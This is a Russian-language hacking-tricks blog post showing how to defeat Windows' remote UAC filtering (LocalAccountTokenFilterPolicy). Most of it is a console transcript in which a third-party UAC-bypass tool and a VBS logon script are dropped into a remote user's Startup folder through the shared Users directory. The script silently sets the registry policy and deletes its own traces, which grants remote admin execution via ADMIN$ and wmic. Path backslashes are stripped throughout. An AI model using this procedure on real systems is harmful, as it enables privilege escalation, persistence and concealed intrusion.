[hacking tricks] LocalAccountTokenFilterPolicy bypass

[hacking tricks] LocalAccountTokenFilterPolicy bypass
Скверный для хакера параметр безопасности винды LocalAccountTokenFilterPolicy, появившийся со времен Windows Vista, отвечает за функциклирование  удаленного ограничения UAC .  Это такая штука, которая фильтрует наличие привилегий админстратора по сети в отношении всех локальных пользователей системы, которые входят в группу "Администраторы". То есть, все локальные администраторы, кроме дефолтового админа с SID 500, не смогут воспользоваться интерфейсами удаленного администрирования (SMB, RPC, ...) до тех пор пока данный механизм безопасности включен. Но я кажется нашел алгоритм обхода и он основан не на подключении по RDP :)

Предлагаемый способ основан на том, что в конфигурациях по умолчанию современных Windows систем для конечных пользователей хитрым образом шарится папочка "C:Users" , содержащая профили пользователей. Я думаю, что уже после этой фразы стал очевиден сценарий атаки при наличии идентификатора и пароля пользователя, которого удаленная система не желает воспринимать в качестве администратора. Значит экзекнуться в подобной ситуации уже реально, остается лишь разобраться с локальным UAC, чтобы стать полноценным администратором системы.

Для обхода локальных ограничений безопасности UAC можно воспользоваться наработками  Leo Davidson , которые затем переконтовали в удобную консольную тулу [ забрать ]. Стоит лишь добавить, что метод обхода локального UAC работает также и на Windows 8 со всеми обновлениями безопасности на сегодняшний день.

C:Temp>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:Temp>net use RHOSTADMIN$ /u:rhostadmin password
Системная ошибка 5.
Отказано в доступе.

C:Temp>wmic /node:RHOST /user:rhostadmin /password:password process call create "cmd.exe /c ipconfig"
ERROR:
Code = 0x80070005
Description = Отказано в доступе.
Facility = Win32

C:Temp>net use RHOSTipc$ /u:rhostadmin password
Команда выполнена успешно.

C:Temp>net view RHOST /all
Общие ресурсы на RHOST

Имя общего ресурса  Тип   Используется как  Комментарий
-------------------------------------------------------------------------------
ADMIN$              Диск                    Удаленный Admin
C$                  Диск                    Стандартный общий ресурс
IPC$                IPC   (UNC)             Удаленный IPC
Users               Диск
Команда выполнена успешно.

C:Temp>dir RHOSTUsers
 Том в устройстве RHOSTUsers не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки RHOSTUsers

30.03.2014  20:07    <DIR>          .
30.03.2014  20:07    <DIR>          ..
30.03.2014  20:00    <DIR>          admin
30.03.2014  18:10    <DIR>          Public
               0 файлов              0 байт
               4 папок   6 799 081 472 байт свободно

C:Temp>dir "RHOSTUsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
 Том в устройстве RHOSTUsers не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки RHOSTUsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

30.03.2014  23:34    <DIR>          .
30.03.2014  23:34    <DIR>          ..
               0 файлов              0 байт
               2 папок   6 799 081 472 байт свободно

C:Temp>copy /Y bypassuac.exe RHOSTUsersadminAppDataLocalTemp
Скопировано файлов:         1.

C:Temp>type logon.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:UsersadminAppDataLocalTempbypassuac.exe /c reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f",0,true
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile "C:UsersadminAppDataLocalTempbypassuac.exe",true
objFSO.DeleteFile "C:UsersadminAppDataLocalTemptior.exe",true
objFSO.DeleteFile Wscript.ScriptFullName,true

C:Temp>copy /Y logon.vbs "RHOSTUsersadminAppDataRoamingMicrosoftWi
ndowsStart MenuProgramsStartup"
Скопировано файлов:         1.

C:Temp>net use RHOSTipc$ /del
RHOSTipc$ успешно удален.

C:Temp> /* WAIT WAIT
C:Temp> /* logoff/login user */
C:Temp> WAIT */

C:Temp>net use RHOSTADMIN$ /u:rhostadmin password
Команда выполнена успешно.

C:Temp>wmic /node:RHOST /user:rhostadmin /password:password process cal
l create "cmd.exe /c ipconfig"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4320;
        ReturnValue = 0;
};

C:Temp>

Alt text